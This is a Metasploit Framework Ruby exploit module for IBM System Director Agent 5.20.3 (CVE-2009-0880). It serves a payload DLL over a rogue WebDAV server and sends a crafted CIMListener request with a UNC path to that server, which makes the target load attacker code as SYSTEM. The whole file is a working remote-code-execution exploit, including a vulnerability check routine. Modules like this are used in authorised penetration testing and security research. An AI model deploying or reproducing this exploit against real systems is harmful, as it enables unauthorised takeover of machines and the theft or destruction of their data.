##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize
		super(
			'Name'          => 'IBM System Director Agent DLL Injection',
			'Description'   => %q{
					This module abuses the "wmicimsv" service on IBM System Director Agent 5.20.3
				to accomplish arbitrary DLL injection and execute arbitrary code with SYSTEM
				privileges.

				In order to accomplish remote DLL injection it uses a WebDAV service as disclosed
				by kingcope on December 2012. Because of this, the target host must have the
				WebClient service (WebDAV Mini-Redirector) enabled. It is enabled and automatically
				started by default on Windows XP SP3, but disabled by default on Windows 2003 SP2.
			},
			'Author'      => [
				'Bernhard Mueller', # Vulnerability discovery and exploit using directory traversal
				'kingcope', # Exploit using WebDAV
				'juan vazquez' # Metasploit module
			],
			'Platform'    => 'win',
			'References'  =>
				[
					[ 'CVE', '2009-0880'],
					[ 'OSVDB', '52616'],
					[ 'OSVDB', '88102'],
					[ 'BID', '34065' ],
					[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20090305-2_IBM_director_privilege_escalation.txt' ],
					[ 'URL', 'http://seclists.org/bugtraq/2012/Dec/5' ]
				],
			'Targets'     =>
				[
					[ 'IBM System Director Agent 5.20.3 / Windows with WebClient enabled', { } ]
				],
			'DefaultTarget'  => 0,
			'Privileged'     => true,
			'DisclosureDate' => 'Mar 10 2009'
		)
		register_options(
			[
				Opt::RPORT(6988),
				OptString.new('URIPATH',   [ true, "The URI to use (do not change)", "/" ]),
				OptPort.new('SRVPORT',     [ true, "The daemon port to listen on (do not change)", 80 ])
			], self.class)
	end

	def auto_target(cli, request)
		agent = request.headers['User-Agent']

		ret = nil
		# Check for MSIE and/or WebDAV redirector requests
		if agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/
			ret = targets[0]
		elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/
			ret = targets[0]
		else
			print_error("Unknown User-Agent: #{agent}")
		end

		ret
	end


	def on_request_uri(cli, request)

		mytarget = target
		if target.name == 'Automatic'
			mytarget = auto_target(cli, request)
			if (not mytarget)
				send_not_found(cli)
				return
			end
		end

		# If there is no subdirectory in the request, we need to redirect.
		if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)
			if (request.uri == '/')
				subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
			else
				subdir = request.uri + '/'
			end
			print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
			send_redirect(cli, subdir)
			return
		end

		# dispatch WebDAV requests based on method first
		case request.method
			when 'OPTIONS'
				process_options(cli, request, mytarget)

			when 'PROPFIND'
				process_propfind(cli, request, mytarget)

			when 'GET'
				process_get(cli, request, mytarget)

			when 'PUT'
				print_status("Sending 404 for PUT #{request.uri} ...")
				send_not_found(cli)

			else
				print_error("Unexpected request method encountered: #{request.method}")

		end

	end


	#
	# GET requests
	#
	def process_get(cli, request, target)

		print_status("Responding to GET request #{request.uri}")
		# dispatch based on extension
		if (request.uri =~ /\.dll$/i)
			print_status("Sending DLL")
			return if ((p = regenerate_payload(cli)) == nil)
			dll_payload = generate_payload_dll
			send_response(cli, dll_payload, { 'Content-Type' => 'application/octet-stream' })
		else
			send_not_found(cli)
		end
	end


	#
	# OPTIONS requests sent by the WebDav Mini-Redirector
	#
	def process_options(cli, request, target)
		print_status("Responding to WebDAV OPTIONS request")
		headers = {
			#'DASL'   => '<DAV:sql>',
			#'DAV'    => '1, 2',
			'Allow'  => 'OPTIONS, GET, PROPFIND',
			'Public' => 'OPTIONS, GET, PROPFIND'
		}
		send_response(cli, '', headers)
	end


	#
	# PROPFIND requests sent by the WebDav Mini-Redirector
	#
	def process_propfind(cli, request, target)
		path = request.uri
		print_status("Received WebDAV PROPFIND request")
		body = ''

		if (path =~ /\.dll$/i)
			print_status("Sending DLL multistatus for #{path} ...")
			body = %Q|<?xml version="1.0"?>
<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
<a:response>
</a:response>
</a:multistatus>
|
		elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i) or (path =~ /\.dll/i)
			print_status("Sending 404 for #{path} ...")
			send_not_found(cli)
			return

		elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
			# Response for anything else (generally just /)
			print_status("Sending directory multistatus for #{path} ...")
			body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

		else
			print_status("Sending 404 for #{path} ...")
			send_not_found(cli)
			return

		end

		# send the response
		resp = create_response(207, "Multi-Status")
		resp.body = body
		resp['Content-Type'] = 'text/xml'
		cli.send_response(resp)
	end

	def xml_data
		xml = <<-eos
<?xml version="1.0" encoding="utf-8" ?>
<CIM CIMVERSION="2.0" DTDVERSION="2.0">
	<MESSAGE ID="1007" PROTOCOLVERSION="1.0">
		<SIMPLEEXPREQ>
			<EXPMETHODCALL NAME="ExportIndication">
				<EXPPARAMVALUE NAME="NewIndication">
					<INSTANCE CLASSNAME="CIM_AlertIndication" >
						<PROPERTY NAME="Description" TYPE="string">
							<VALUE>Sample CIM_AlertIndication indication</VALUE>
						</PROPERTY>
						<PROPERTY NAME="AlertType" TYPE="uint16">
							<VALUE>1</VALUE>
						</PROPERTY>
						<PROPERTY NAME="PerceivedSeverity" TYPE="uint16">
							<VALUE>3</VALUE>
						</PROPERTY>
						<PROPERTY NAME="ProbableCause" TYPE="uint16">
							<VALUE>2</VALUE>
						</PROPERTY>
						<PROPERTY NAME="IndicationTime" TYPE="datetime">
							<VALUE>20010515104354.000000:000</VALUE>
						</PROPERTY>
					</INSTANCE>
				</EXPPARAMVALUE>
			</EXPMETHODCALL>
		</SIMPLEEXPREQ>
	</MESSAGE>
</CIM>
		eos
		return xml
	end

	def check

		peer = "#{rhost}:#{rport}"
		print_status("#{peer} - Checking if CIMListener exists...")

		res = send_request_cgi({
			'uri'          => "/CIMListener/",
			'method'       => 'M-POST',
			'ctype'        => 'application/xml; charset=utf-8',
			'headers'	   => {
				"Man"     => "http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40",
				"CIMOperation" => "MethodCall",
				"CIMExport" => "MethodRequest",
				"CIMExportMethod" => "ExportIndication"
			},
			'data'         => xml_data,
		}, 1)

		if res and res.code == 200 and res.body =~ /CIMVERSION/
			return CheckCode::Appears
		end
		return CheckCode::Safe
	end

	def exploit

		if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
			fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
		end

		super

	end

	def primer

		basename = rand_text_alpha(3)
		share_name = rand_text_alpha(3)
		myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
		exploit_unc  = "\\\\#{myhost}\\"

		vprint_status("Payload available at #{exploit_unc}#{share_name}\\#{basename}.dll")

		@peer = "#{rhost}:#{rport}"

		print_status("#{@peer} - Injecting DLL...")

		res = send_request_cgi({
			'uri'          => "/CIMListener/#{exploit_unc}#{share_name}\\#{basename}.dll",
			'method'       => 'M-POST',
			'ctype'        => 'application/xml; charset=utf-8',
			'headers'      => {
				"Man"             => "http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40",
				"CIMOperation"    => "MethodCall",
				"CIMExport"       => "MethodRequest",
				"CIMExportMethod" => "ExportIndication"
			},
			'data'         => xml_data,
		})

		if res and res.code == 200 and res.body =~ /CIMVERSION/
			print_status"#{@peer} - Then injection seemed to work..."
		else
			fail_with(Exploit::Failure::Unknown, "#{@peer} - Unexpected response")
		end
	end

end
